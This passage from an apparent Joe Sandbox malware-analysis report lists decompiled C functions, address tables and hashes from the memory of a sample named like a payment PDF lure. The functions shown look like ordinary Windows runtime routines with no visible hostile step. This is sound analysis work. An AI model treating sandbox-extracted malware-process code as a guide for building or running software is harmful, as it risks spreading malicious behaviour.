													_t259 = 0x33441010;
													_a32 = 0x33441010;
												}
												_t282 = (( *(_a20 + 2) & 0x0000ffff) + 0x00000003 & 0xfffffffc) + 0x4c8 + (( *(_t134 + 2) & 0x0000ffff) + 0x00000003 & 0xfffffffc) + (( *_v24 & 0x0000ffff) + 0x00000005 & 0xfffffffc) + (( *(_a28 + 2) & 0x0000ffff) + 0x00000003 & 0xfffffffc) + (( *_t277 & 0x0000ffff) + 0x00000005 & 0xfffffffc);
												_t231 = 0;
												if( *_t259 != 0) {
													_t282 = _t282 + (( *(_t259 + 2) & 0x0000ffff) + 0x00000003 & 0xfffffffc);
												}
												if(_t285 != 0) {
													_t282 = _t282 + (( *(_t285 + 2) & 0x0000ffff) + 0x00000003 & 0xfffffffc);
												}
												if(_t210 != 0) {
													_t282 = _t282 + (( *(_t210 + 2) & 0x0000ffff) + 0x00000003 & 0xfffffffc);
												}
												if(_a16 != _t231) {
													_t156 = E3349BA17(_a16, 1);
													_t231 = 0;
												} else {
													_t156 =  *((intOrPtr*)(_v20 + 0x290));
												}
												_v16 = _t156;
												_t212 = _t156 + 0x00000003 & 0xfffffffc;
												if(_t212 < _t156) {
													L77:
													return 0xc0000095;
												} else {
													while(1) {
														_t158 = _t212 + _t282;
														if(_t212 + _t282 < _t282) {
															goto L77;
														}
														_t286 = L33485D90(_t231,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t231, _t158);
														if(_t286 == 0) {
															return 0xc000009a;
														}
														_t162 = _t282 + _t286;
														if(_a16 != 0) {
															L334B88C0(_t162, _a16, _v16);
															L47:
															L334B8F40(_t286, 0, 0x2c0);
															 *(_t286 + 0x290) = _t212;
															_t213 = _v20;
															 *((intOrPtr*)(_t286 + 0x48)) = _t282 + _t286;
															_t56 = _t286 + 0x2c0; // 0x2c0
															 *_t286 = _t282;
															_v12 = _t56;
															 *((intOrPtr*)(_t286 + 4)) = _t282;
															_t59 = _t286 + 0x24; // 0x24
															_t283 = _t59;
															 *((intOrPtr*)(_t286 + 8)) = 1;
															 *(_t286 + 0x14) =  *(_v20 + 0x14) & 1;
															_t170 = _a8;
															if(_a8 == 0) {
																L3347FED0(0x33565b40);
																E33468746( &_v12, _t283, _t213 + 0x24, 0x208);
																_push(0x33565b40);
																E3347E740( &_v12);
																L63:
																_push("true");
																_pop(_t214);
																L50:
																_t236 = _a4;
																if(_a4 != 0) {
																	_t104 = _t286 + 0x30; // 0x30
																	E33468746( &_v12, _t104, _t236,  *(_t236 + 2) & 0x0000ffff);
																}
																_t238 = _a36;
																if(_a36 != 0) {
																	_t116 = _t286 + 0x2a4; // 0x2a4
																	E33468746( &_v12, _t116, _t238,  *(_t238 + 2) & 0x0000ffff);
																}
																_t73 = _t286 + 0x38; // 0x38
																E33468746( &_v12, _t73, _v24, ( *_v24 & 0x0000ffff) + _t214);
																_t284 = _a12;
																_t76 = _t286 + 0x40; // 0x40
																_t266 = _t76;
																_t242 =  *_t284 & 0x0000ffff;
																_t182 = _t284[1] & 0x0000ffff;
																if(_t242 != (_t284[1] & 0x0000ffff)) {
																	_t182 = _t214 + _t242;
																}
																E33468746( &_v12, _t266, _t284, _t182);
																_t81 = _t286 + 0x70; // 0x70
																E33468746( &_v12, _t81, _a20,  *(_a20 + 2) & 0x0000ffff);
																_t85 = _t286 + 0x78; // 0x78
																E33468746( &_v12, _t85, _a24,  *(_a24 + 2) & 0x0000ffff);
																_t89 = _t286 + 0x80; // 0x80
																E33468746( &_v12, _t89, _a28,  *(_a28 + 2) & 0x0000ffff);
																_t250 = _a32;
																if( *_a32 != 0) {
																	_t119 = _t286 + 0x88; // 0x88
																	E33468746( &_v12, _t119, _t250,  *(_t250 + 2) & 0x0000ffff);
																}
																if((_a40 & 0x00000001) == 0) {
																	_t286 = E334F5AE0(_t286);
																}
																 *_v36 = _t286;
																return 0;
															}
															E33468746( &_v12, _t283, _t170, 0x208);
															if(_v5 == 0) {
																goto L63;
															}
															_t272 = 0x5c;
															_push("true");
															_pop(_t214);
															 *((short*)( *((intOrPtr*)(_t286 + 0x28)) + _v32 * 2)) = _t272;
															 *_t283 =  *_t283 + _t214;
															goto L50;
														}
														L3347FED0(0x33565b40);
														_t273 = _v20;
														_t199 =  *((intOrPtr*)(_v20 + 0x290));
														_v16 = _t199;
														_t255 = _t199 + 0x00000003 & 0xfffffffc;
														_v28 = _t199 + 0x00000003 & 0xfffffffc;
														if(_t199 > _t212) {
															_push(0x33565b40);
															E3347E740(_t255);
															E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t286);
															_t212 = _v28;
															_t231 = 0;
															if(_t212 >= _v16) {
																continue;
															}
															goto L77;
														}
														L334B88C0(_t282 + _t286,  *((intOrPtr*)(_t273 + 0x48)), _t199);
														_push(0x33565b40);
														E3347E740(_t255);
														_t212 = _v28;
														goto L47;
													}
													goto L77;
												}
											}
										}
									}
								}
							}
						}
					}
					_t275 = ( *_t219 & 0x0000ffff) >> 1;
					_v32 = _t275;
					if(E334687BF(_t219) < 0 || _t275 == 0) {
						goto L82;
					} else {
						if( *((intOrPtr*)(_t219[2] + _t275 * 2 - 2)) == _t276) {
							goto L11;
						}
						if(_t275 > 0x103) {
							goto L82;
						}
						_v5 = 1;
						goto L11;
					}
				}
			}

0x33468359
0x3346835c
0x3346835f
0x334cb435
0x00000000
0x334cb435
0x33468370
0x3346837a
0x00000000
0x00000000
0x33468380
0x33468387
0x334686c0
0x3346838d
0x3346838d
0x3346838d
0x33468391
0x00000000
0x33468397
0x33468397
0x3346839a
0x3346839d
0x334683a2
0x334683a5
0x334683de
0x334683de
0x334683e3
0x334cb33f
0x334683e9
0x334683eb
0x334683eb
0x334683f2
0x00000000
0x334683f8
0x334683f8
0x334683fd
0x334cb346
0x33468403
0x33468405
0x33468405
0x3346840c
0x00000000
0x33468412
0x33468412
0x33468417
0x334cb34d
0x3346841d
0x3346841d
0x3346841d
0x33468424
0x00000000
0x3346842a
0x3346842a
0x3346842f
0x334cb356
0x33468435
0x33468435
0x33468435
0x33468439
0x00000000
0x3346843f
0x3346843f
0x33468444
0x334cb362
0x3346844a
0x3346844a
0x3346844a
0x3346844e
0x00000000
0x33468454
0x33468454
0x33468459
0x334cb36e
0x3346845f
0x3346845f
0x3346845f
0x33468463
0x00000000
0x33468469
0x3346846b
0x334cb378
0x334cb37b
0x334cb37b
0x3346847a
0x334cb383
0x334cb383
0x33468480
0x33468485
0x334cb38b
0x334cb38d
0x334cb38d
0x3346848f
0x33468491
0x33468491
0x33468496
0x33468498
0x3346849a
0x3346849a
0x334684e2
0x334684e4
0x334684e9
0x334cb39f
0x334cb39f
0x334684f1
0x334686d4
0x334686d4
0x334684f9
0x334cb3b0
0x334cb3b0
0x33468502
0x334686e1
0x334686e6
0x33468508
0x3346850b
0x3346850b
0x33468514
0x33468517
0x3346851c
0x334cb3e2
0x00000000
0x33468522
0x33468522
0x33468522
0x33468527
0x00000000
0x00000000
0x3346853d
0x33468541
0x00000000
0x334cb42b
0x3346854b
0x3346854e
0x334686f4
0x33468598
0x334685a1
0x334685a9
0x334685af
0x334685b4
0x334685b8
0x334685be
0x334685c0
0x334685c6
0x334685c9
0x334685c9
0x334685cc
0x334685d4
0x334685d7
0x334685dc
0x33468706
0x33468719
0x3346871e
0x33468723
0x33468728
0x33468728
0x3346872a
0x3346860f
0x3346860f
0x33468614
0x33468734
0x3346873c
0x3346873c
0x3346861a
0x3346861f
0x334cb3f0
0x334cb3fb
0x334cb3fb
0x33468628
0x33468635
0x3346863a
0x3346863d
0x3346863d
0x33468640
0x33468643
0x3346864a
0x3346864c
0x3346864c
0x33468654
0x3346865c
0x33468668
0x33468670
0x3346867c
0x33468684
0x33468693
0x33468698
0x334686a0
0x334cb409
0x334cb414
0x334cb414
0x334686aa
0x334cb424
0x334cb424
0x334686b3
0x00000000
0x334686b5
0x334685ed
0x334685f6
0x00000000
0x00000000
0x33468604
0x33468605
0x33468607
0x33468608
0x3346860c
0x00000000
0x3346860c
0x33468559
0x3346855e
0x33468561
0x33468567
0x3346856d
0x33468570
0x33468575
0x334cb3b7
0x334cb3bc
0x334cb3ce
0x334cb3d3
0x334cb3d8
0x334cb3dc
0x00000000
0x00000000
0x00000000
0x334cb3dc
0x33468583
0x3346858b
0x33468590
0x33468595
0x00000000
0x33468595
0x00000000
0x33468522
0x3346851c
0x33468463
0x3346844e
0x33468439
0x33468424
0x3346840c
0x334683f2
0x334683aa
0x334683ac
0x334683b6
0x00000000
0x334683c4
0x334683cc
0x00000000
0x00000000
0x334683d4
0x00000000
0x00000000
0x334683da
0x00000000
0x334683da
0x334683b6

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a79fa90eb0d287afd7c947367fcb9d36a2538b7bd8e241bc38d90ab9c240de35
Instruction ID: fe9e839e82614a1ec2d5a1652f93b91220425a5b8bcb73feb23a2efe99a3cecb
Opcode Fuzzy Hash: a79fa90eb0d287afd7c947367fcb9d36a2538b7bd8e241bc38d90ab9c240de35
Instruction Fuzzy Hash: 76D1F379A0031A9FDB04CF64CC90ABE73B5BF4434AF48422DE865DB290EB74D946CB58

Uniqueness

Uniqueness Score: -1.00%

Function 3347D700 Relevance: .3, Instructions: 342
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E3347D700(signed int __ecx, signed int __edx) {
				intOrPtr _v8;
				signed int _v13;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				char _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				void* __ebp;
				signed int _t114;
				signed int _t115;
				signed int _t118;
				signed char _t121;
				signed int _t123;
				signed int _t125;
				signed int _t127;
				signed int _t128;
				signed int _t131;
				signed int _t136;
				signed int _t142;
				intOrPtr _t145;
				signed char _t146;
				signed int _t147;
				signed int _t149;
				signed int _t150;
				signed char _t151;
				signed int _t154;
				signed int* _t160;
				signed int _t165;
				signed int _t168;
				signed int _t171;
				signed int _t172;
				signed int _t175;
				signed char _t179;
				intOrPtr _t180;
				signed int _t182;
				signed int _t191;
				signed int _t192;
				signed int _t198;
				signed int* _t201;
				signed int _t203;
				void* _t206;
				signed int _t208;
				signed int _t213;
				void* _t218;

				_t190 = __edx;
				_v8 =  *((intOrPtr*)(_t218 + 4));
				_t201 = __edx;
				_v32 = 0;
				_t208 = __ecx;
				_v20 = __edx;
				_v24 = __ecx;
				 *((intOrPtr*)(__edx + 4)) = 0;
				 *((intOrPtr*)(__edx + 8)) = 0;
				if( *0x335665f4 != 3) {
					L14:
					_push(0);
					_push(0xc);
					_push( &_v60);
					_push("true");
					_push(_t208);
					_push(0xffffffff);
					_t114 = E334B2BE0();
					__eflags = _t114;
					if(_t114 < 0) {
						L69:
						_t168 = 0;
						_v24 = 0;
						L19:
						_t201[1] = _t168;
						__eflags = _t168;
						if(_t168 == 0) {
							_t191 = _v32;
							L41:
							_t115 = _t191;
							L13:
							return _t115;
						}
						_v28 = 0;
						E3347E580("true", _t168, 0, 0,  &_v28);
						_t118 = _v28;
						__eflags =  *(_t118 + 0x5e) & 0x00000400;
						if(( *(_t118 + 0x5e) & 0x00000400) != 0) {
							L48:
							_t192 = _t190 | 0xffffffff;
							_t115 = _t192;
							_t201[3] = _t208 | _t192;
							 *_t201 = _t192;
							goto L13;
						}
						E3347E580("true", _v24, 0, 0,  &_v48);
						_t121 = _v24;
						_t208 = 0;
						_v13 = 1;
						_t171 = _t121;
						_v20 = _t171;
						_v36 = 0;
						_v40 = 0;
						__eflags = _t121 & 0x00000003;
						if((_t121 & 0x00000003) != 0) {
							_t171 = _t171 & 0xfffffffc;
							_t142 =  !_t121 & 0x00000001;
							__eflags = _t142;
							_v20 = _t171;
							_v13 = _t142;
						}
						_t123 = E3347E580("true", _t171, 0, 0,  &_v36);
						_t172 = _v36;
						__eflags = _t172;
						if(_t172 == 0) {
							L77:
							__eflags = _t123;
							if(__eflags < 0) {
								goto L72;
							}
							goto L78;
						} else {
							_t136 =  *(_t172 + 0x18) & 0x0000ffff;
							_t190 = 0x10b;
							__eflags = _t136 - 0x10b;
							if(_t136 != 0x10b) {
								_t190 = 0x20b;
								__eflags = _t136 - 0x20b;
								if(__eflags != 0) {
									L72:
									_t125 = L3347DE20(_v24, __eflags, _v24, "true", 0xe,  &_v20);
									__eflags = _t125;
									if(_t125 == 0) {
										L74:
										_t191 = 0;
										L40:
										_t201[3] = 0;
										 *_t201 = _t191;
										goto L41;
									}
									__eflags =  *(_t125 + 0x10) & 0x00000001;
									if(( *(_t125 + 0x10) & 0x00000001) != 0) {
										goto L48;
									}
									goto L74;
								}
								_t190 = _v13;
								_t123 = E33467386(_v20, _t190, "true",  &_v44, _t172,  &_v40);
								_t208 = _v40;
								goto L77;
							}
							__eflags =  *((intOrPtr*)(_t172 + 0x74)) - 0xa;
							if(__eflags <= 0) {
								goto L72;
							}
							_t208 =  *(_t172 + 0xc8);
							__eflags = _t208;
							if(__eflags == 0) {
								goto L72;
							}
							__eflags = _v13;
							_t190 =  *(_t172 + 0xcc);
							_v44 = _t190;
							if(_v13 == 0) {
								__eflags = _t208 -  *((intOrPtr*)(_t172 + 0x54));
								if(_t208 <  *((intOrPtr*)(_t172 + 0x54))) {
									goto L28;
								}
								_t208 = E33479630(_t172, _v20, _t208);
								__eflags = _t208;
								if(__eflags != 0) {
									L78:
									_t190 = _v44;
									L29:
									__eflags = _t208;
									if(__eflags == 0) {
										goto L72;
									}
									__eflags = _t190;
									if(__eflags == 0) {
										goto L72;
									}
									__eflags = _t190 - 0x40;
									if(_t190 == 0x40) {
										L33:
										_t127 =  *(_v48 + 4) & 0x0000ffff;
										__eflags = _t127 - 0x3a64;
										if(_t127 == 0x3a64) {
											L35:
											__eflags =  *_t208 - 0x48;
											if(__eflags < 0) {
												goto L72;
											}
											_t190 =  *(_t208 + 0x40);
											__eflags = _t190;
											if(__eflags == 0) {
												goto L72;
											}
											_t208 =  *(_t208 + 0x44);
											__eflags = _t208;
											if(__eflags == 0) {
												goto L72;
											}
											_t128 = _v28;
											_t175 = _v24;
											__eflags = _t190 -  *((intOrPtr*)(_t128 + 0x54)) + _t175;
											if(_t190 <  *((intOrPtr*)(_t128 + 0x54)) + _t175) {
												goto L48;
											}
											_t131 = _v28;
											__eflags = _t208 -  *((intOrPtr*)(_t131 + 0x50)) - _t190 + _t175 >> 2;
											if(_t208 >  *((intOrPtr*)(_t131 + 0x50)) - _t190 + _t175 >> 2) {
												goto L48;
											}
											goto L40;
										}
										__eflags = _t127 - 0x14c;
										if(__eflags != 0) {
											goto L72;
										}
										goto L35;
									}
									__eflags = _t190 -  *_t208;
									if(__eflags != 0) {
										goto L72;
									}
									goto L33;
								}
								goto L72;
							}
							L28:
							_t208 = _t208 + _v20;
							__eflags = _t208;
							goto L29;
						}
					}
					_t168 = _v60;
					_v24 = _t168;
					__eflags = _t168;
					if(_t168 == 0) {
						goto L69;
					}
					__eflags = _v52 & 0x00000003;
					if((_v52 & 0x00000003) != 0) {
						goto L69;
					}
					__eflags = _t208 - _t168;
					if(_t208 < _t168) {
						goto L69;
					}
					_t201[2] = _v56;
					goto L19;
				}
				L334753C0(0x3356681c);
				_t145 =  *0x33569360; // 0x3e
				if(_t145 == 1) {
					L11:
					_t190 = 0x3356681c;
					_t146 = 0x11;
					asm("lock cmpxchg [edx], ecx");
					_t179 = 0x11;
					if(0x11 != 0x11) {
						__eflags = 1;
						if(1 == 0) {
							_t146 = L334C8AA0(0x11, 0x3356681c, 0xc0000264);
							L55:
							__eflags = _t179 & 0x00000008;
							if((_t179 & 0x00000008) == 0) {
								_t147 = _t146 | 0xffffffff;
								__eflags = _t147;
								_v28 = _t147;
								L61:
								_t203 = _v28;
								while(1) {
									_t149 = _t179 & 0x00000006;
									_v40 = _t149;
									__eflags = _t149 - 2;
									_t150 = _t203 + 4;
									if(_t149 != 2) {
										_t150 = _t203;
									}
									_t190 = _t179 + _t150;
									_t151 = _t179;
									asm("lock cmpxchg [edi], esi");
									_t203 = _v28;
									__eflags = _t151 - _t179;
									if(_t151 == _t179) {
										break;
									}
									_t179 = _t151;
								}
								__eflags = _v40 - 2;
								_t201 = _v20;
								if(_v40 == 2) {
									_t190 = 0;
									__eflags = 0;
									E334A3BDB(0x3356681c, 0, 0);
								}
								_t208 = _v24;
								goto L12;
							}
							_t154 = _t179 & 0xfffffff0;
							_t190 =  *(_t154 + 4);
							__eflags = _t190;
							if(_t190 != 0) {
								L58:
								asm("lock xadd [edx+0x10], eax");
								__eflags = (_t154 | 0xffffffff) - 1;
								if((_t154 | 0xffffffff) - 1 > 0) {
									goto L12;
								}
								_v28 = 0xfffffff7;
								goto L61;
							} else {
								goto L57;
							}
							do {
								L57:
								_t154 =  *_t154;
								_t190 =  *(_t154 + 4);
								__eflags = _t190;
							} while (_t190 == 0);
							goto L58;
						}
						__eflags = 0;
						if(0 != 0) {
							goto L55;
						}
						while(1) {
							asm("sbb edx, edx");
							_t190 =  ~((_t179 & 0xfffffff0) - 0x10) & _t179 - 0x00000010;
							_t146 = _t179;
							asm("lock cmpxchg [edi], edx");
							_t201 = _v20;
							__eflags = _t146 - _t179;
							if(_t146 == _t179) {
								goto L12;
							}
							_t179 = _t146;
							__eflags = _t146 & 0x00000002;
							if((_t146 & 0x00000002) == 0) {
								continue;
							}
							goto L55;
						}
					}
					L12:
					_t115 = _v32;
					if(_t115 == 0) {
						__eflags =  *0x3356936c;
						if( *0x3356936c != 0) {
							goto L14;
						}
						_t180 =  *[fs:0x30];
						__eflags =  *(_t180 + 0x28) & 0x00000080;
						if(( *(_t180 + 0x28) & 0x00000080) == 0) {
							goto L13;
						}
						goto L14;
					}
					goto L13;
				}
				_t182 = 1;
				_t8 = _t145 - 1; // 0x3d
				_t206 = _t8;
				if(_t206 < 1) {
					L53:
					_t201 = _v20;
					goto L11;
				} else {
					goto L3;
				}
				do {
					L3:
					_t198 = _t182 + _t206 >> 1;
					_t160 = (_t198 << 4) + 0x33569370;
					_t213 = _t160[1];
					if(_v24 < _t213) {
						_t208 = _v24;
						__eflags = _t198;
						if(_t198 == 0) {
							goto L53;
						}
						_t206 = _t198 - 1;
						goto L6;
					}
					_t208 = _v24;
					if(_t208 < _t160[2] + _t213) {
						_t201 = _v20;
						 *_t201 =  *_t160;
						_t201[1] = _t160[1];
						_t201[2] = _t160[2];
						_t201[3] = _t160[3];
						asm("ror eax, cl");
						_t165 =  *_t201 ^  *0x7ffe0330;
						__eflags = _t165;
						_v32 = _t165;
						 *_t201 = _t165;
						goto L11;
					}
					_t182 = _t198 + 1;
					L6:
				} while (_t206 >= _t182);
				goto L53;
			}

0x3347d700
0x3347d712
0x3347d724
0x3347d726
0x3347d72d
0x3347d72f
0x3347d732
0x3347d735
0x3347d73c
0x3347d743
0x3347d815
0x3347d815
0x3347d817
0x3347d81c
0x3347d81d
0x3347d81f
0x3347d820
0x3347d822
0x3347d827
0x3347d829
0x334d3f8a
0x334d3f8a
0x334d3f8c
0x3347d855
0x3347d855
0x3347d858
0x3347d85a
0x3347da26
0x3347d9a0
0x3347d9a0
0x3347d80c
0x3347d814
0x3347d814
0x3347d863
0x3347d872
0x3347d877
0x3347d87f
0x3347d883
0x3347d9f2
0x3347d9f2
0x3347d9f7
0x3347d9f9
0x3347d9fc
0x00000000
0x3347d9fc
0x3347d897
0x3347d89c
0x3347d89f
0x3347d8a1
0x3347d8a5
0x3347d8a7
0x3347d8aa
0x3347d8b1
0x3347d8b4
0x3347d8b6
0x3347d8b8
0x3347d8bd
0x3347d8bd
0x3347d8bf
0x3347d8c2
0x3347d8c2
0x3347d8d0
0x3347d8d5
0x3347d8d8
0x3347d8da
0x334d3ff9
0x334d3ff9
0x334d3ffb
0x00000000
0x00000000
0x00000000
0x3347d8e0
0x3347d8e0
0x3347d8e4
0x3347d8e9
0x3347d8ec
0x334d3fd6
0x334d3fdb
0x334d3fde
0x334d3fae
0x334d3fba
0x334d3fbf
0x334d3fc1
0x334d3fcd
0x334d3fcd
0x3347d99b
0x3347d99b
0x3347d99e
0x00000000
0x3347d99e
0x334d3fc3
0x334d3fc7
0x00000000
0x00000000
0x00000000
0x334d3fc7
0x334d3fe0
0x334d3ff1
0x334d3ff6
0x00000000
0x334d3ff6
0x3347d8f2
0x3347d8f6
0x00000000
0x00000000
0x3347d8fc
0x3347d902
0x3347d904
0x00000000
0x00000000
0x3347d90a
0x3347d90e
0x3347d914
0x3347d917
0x334d3f94
0x334d3f97
0x00000000
0x00000000
0x334d3fa8
0x334d3faa
0x334d3fac
0x334d3ffd
0x334d3ffd
0x3347d920
0x3347d920
0x3347d922
0x00000000
0x00000000
0x3347d928
0x3347d92a
0x00000000
0x00000000
0x3347d930
0x3347d933
0x3347d93d
0x3347d945
0x3347d949
0x3347d94c
0x3347d95c
0x3347d95c
0x3347d95f
0x00000000
0x00000000
0x3347d965
0x3347d968
0x3347d96a
0x00000000
0x00000000
0x3347d970
0x3347d973
0x3347d975
0x00000000
0x00000000
0x3347d97b
0x3347d97e
0x3347d986
0x3347d988
0x00000000
0x00000000
0x3347d98a
0x3347d997
0x3347d999
0x00000000
0x00000000
0x00000000
0x3347d999
0x3347d953
0x3347d956
0x00000000
0x00000000
0x00000000
0x3347d956
0x3347d935
0x3347d937
0x00000000
0x00000000
0x00000000
0x3347d937
0x00000000
0x334d3fac
0x3347d91d
0x3347d91d
0x3347d91d
0x00000000
0x3347d91d
0x3347d8da
0x3347d82f
0x3347d832
0x3347d835
0x3347d837
0x00000000
0x00000000
0x3347d83d
0x3347d841
0x00000000
0x00000000
0x3347d847
0x3347d849
0x00000000
0x00000000
0x3347d852
0x00000000
0x3347d852
0x3347d74e
0x3347d753
0x3347d75b
0x3347d7e6
0x3347d7e8
0x3347d7ed
0x3347d7f2
0x3347d7f6
0x3347d7fb
0x3347d9a7
0x3347d9aa
0x334d3efd
0x334d3f02
0x334d3f02
0x334d3f05
0x334d3f36
0x334d3f36
0x334d3f39
0x334d3f3c
0x334d3f3c
0x334d3f3f
0x334d3f41
0x334d3f44
0x334d3f47
0x334d3f4a
0x334d3f4d
0x334d3f4f
0x334d3f4f
0x334d3f51
0x334d3f5b
0x334d3f5d
0x334d3f61
0x334d3f64
0x334d3f66
0x00000000
0x00000000
0x334d3f68
0x334d3f68
0x334d3f6c
0x334d3f70
0x334d3f73
0x334d3f76
0x334d3f76
0x334d3f7d
0x334d3f7d
0x334d3f82
0x00000000
0x334d3f82
0x334d3f09
0x334d3f0c
0x334d3f0f
0x334d3f11
0x334d3f1c
0x334d3f1f
0x334d3f25
0x334d3f27
0x00000000
0x00000000
0x334d3f2d
0x00000000
0x00000000
0x00000000
0x00000000
0x334d3f13
0x334d3f13
0x334d3f13
0x334d3f15
0x334d3f18
0x334d3f18
0x00000000
0x334d3f13
0x3347d9b0
0x3347d9b3
0x00000000
0x00000000
0x3347d9c0
0x3347d9d2
0x3347d9d4
0x3347d9d6
0x3347d9d8
0x3347d9dc
0x3347d9df
0x3347d9e1
0x00000000
0x00000000
0x3347d9e7
0x3347d9e9
0x3347d9eb
0x00000000
0x00000000
0x00000000
0x3347d9ed
0x3347d9c0
0x3347d801
0x3347d801
0x3347d806
0x3347da03
0x3347da0a
0x00000000
0x00000000
0x3347da10
0x3347da17
0x3347da1b
0x00000000
0x00000000
0x00000000
0x3347da21
0x00000000
0x3347d806
0x3347d761
0x3347d766
0x3347d766
0x3347d76b
0x334d3ef0
0x334d3ef0
0x00000000
0x00000000
0x00000000
0x00000000
0x3347d771
0x3347d771
0x3347d774
0x3347d77b
0x3347d780
0x3347d786
0x3347d7a0
0x3347d7a3
0x3347d7a5
0x00000000
0x00000000
0x3347d7ab
0x00000000
0x3347d7ab
0x3347d78d
0x3347d792
0x3347d7b2
0x3347d7b5
0x3347d7ba
0x3347d7c0
0x3347d7cb
0x3347d7dd
0x3347d7df
0x3347d7df
0x3347d7e1
0x3347d7e4
0x00000000
0x3347d7e4
0x3347d794
0x3347d797
0x3347d797
0x00000000

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd4d51435b3b042f943dc50e09af5626327262e3d0f8c1358b46a73bb87299cc
Instruction ID: c28d31986565f54f6c0944c3ed241eb012a3082dce1216ce1ff039d207c8f750
Opcode Fuzzy Hash: cd4d51435b3b042f943dc50e09af5626327262e3d0f8c1358b46a73bb87299cc
Instruction Fuzzy Hash: C1C1D475E1030A9FEB14CF58C850BDDB7B5AF85354F18826DE864AB381E730E942CB98

Uniqueness

Uniqueness Score: -1.00%

Function 334B1763 Relevance: .3, Instructions: 322
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E334B1763(intOrPtr __ecx, intOrPtr __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t156;
				void* _t164;
				signed int _t169;
				signed int _t170;
				signed int _t171;
				signed int _t187;
				signed int _t191;
				signed int _t192;
				signed int _t193;
				void* _t195;
				signed char _t199;
				intOrPtr* _t208;
				intOrPtr _t209;
				intOrPtr _t210;
				intOrPtr _t211;
				intOrPtr* _t212;
				intOrPtr* _t213;
				void* _t233;
				signed int _t236;
				intOrPtr _t242;
				signed int _t243;
				signed int _t246;
				signed int _t250;
				intOrPtr _t253;
				signed int _t255;
				intOrPtr _t260;
				signed int _t261;

				_v20 = __edx;
				_t251 = _a8;
				_v16 = __ecx;
				_v12 = 1;
				if(_a8 != 0) {
					L33541933(_t251, _a12,  &_a4,  &_v12);
				}
				while(1) {
					_t236 =  *0x7ffe0018;
					_t246 =  *0x7FFE0014;
					_t156 =  *((intOrPtr*)(0x7ffe001c));
					if(_t236 == _t156) {
						break;
					}
					asm("pause");
				}
				_t260 = _v16;
				_v56 = _t246;
				_v52 = _t236;
				if( *((intOrPtr*)(_t260 + 0x28)) != 2) {
					__eflags =  *((intOrPtr*)(_t260 + 0x28)) - 3;
					if( *((intOrPtr*)(_t260 + 0x28)) != 3) {
						_v40 = _v40 & 0x00000000;
						_v36 = _v36 & 0x00000000;
						L3349BC50( &_v40);
						_v48 = _v40;
						_v44 = _v36;
					} else {
						asm("rdtsc");
						_v48 = _t156;
						_v44 = _t246;
					}
					goto L7;
				} else {
					while(1) {
						_t236 =  *0x7ffe0018;
						_t250 =  *0x7FFE0014;
						if(_t236 ==  *0x7ffe001c) {
							break;
						}
						asm("pause");
					}
					_t260 = _v16;
					_v48 = _t250;
					_v44 = _t236;
					L7:
					_t164 = L33485D90(_t236,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", 0x188 + _a4 * 4);
					_t253 = _a8;
					_t233 = _t164;
					if(_t233 == 0) {
						L28:
						return 0;
					}
					_t169 = L33485D90(_t236,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", _a4 << 2);
					 *(_t233 + 0x178) = _t169;
					if(_t169 == 0) {
						L46:
						_t261 = 0;
						__eflags = 0;
						L47:
						__eflags =  *(_t233 + 0x64);
						if( *(_t233 + 0x64) != 0) {
							_push( *(_t233 + 0x64));
							E334B2A80();
							 *(_t233 + 0x64) = _t261;
						}
						__eflags =  *(_t233 + 0x60);
						if( *(_t233 + 0x60) != 0) {
							_push( *(_t233 + 0x60));
							E334B2A80();
							 *(_t233 + 0x60) = _t261;
						}
						_t170 =  *(_t233 + 0x164);
						__eflags = _t170;
						if(_t170 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t261, _t170);
						}
						_t171 =  *(_t233 + 0x178);
						__eflags = _t171;
						if(_t171 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t261, _t171);
						}
						E334AE4BC(_t233);
						_t147 = _t233 + 0x6c; // 0x6c
						E33483B90(_t147);
						_t148 = _t233 + 0x74; // 0x74
						E33483B90(_t148);
						_t149 = _t233 + 0x7c; // 0x7c
						E33483B90(_t149);
						E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t261, _t233);
						goto L28;
					}
					if(_t253 != 0) {
						_t238 = _t233;
						_t254 = _v12;
						_t187 = E335417BC(_t233, _v12, _t253, _a12);
						__eflags = _t187;
						if(_t187 != 0) {
							goto L46;
						}
						_t191 = L33485D90(_t238,  *((intOrPtr*)( *[fs:0x30] + 0x18)), "true", (_t254 & 0x0000ffff) * 0xc);
						 *(_t233 + 0x164) = _t191;
						__eflags = _t191;
						if(__eflags == 0) {
							goto L46;
						}
						_t255 = _a4;
						L12:
						_t192 =  *(_t260 + 0x30);
						_t274 = _t192;
						if(_t192 != 0) {
							__eflags = _t192 - 0x4000;
							if(__eflags > 0) {
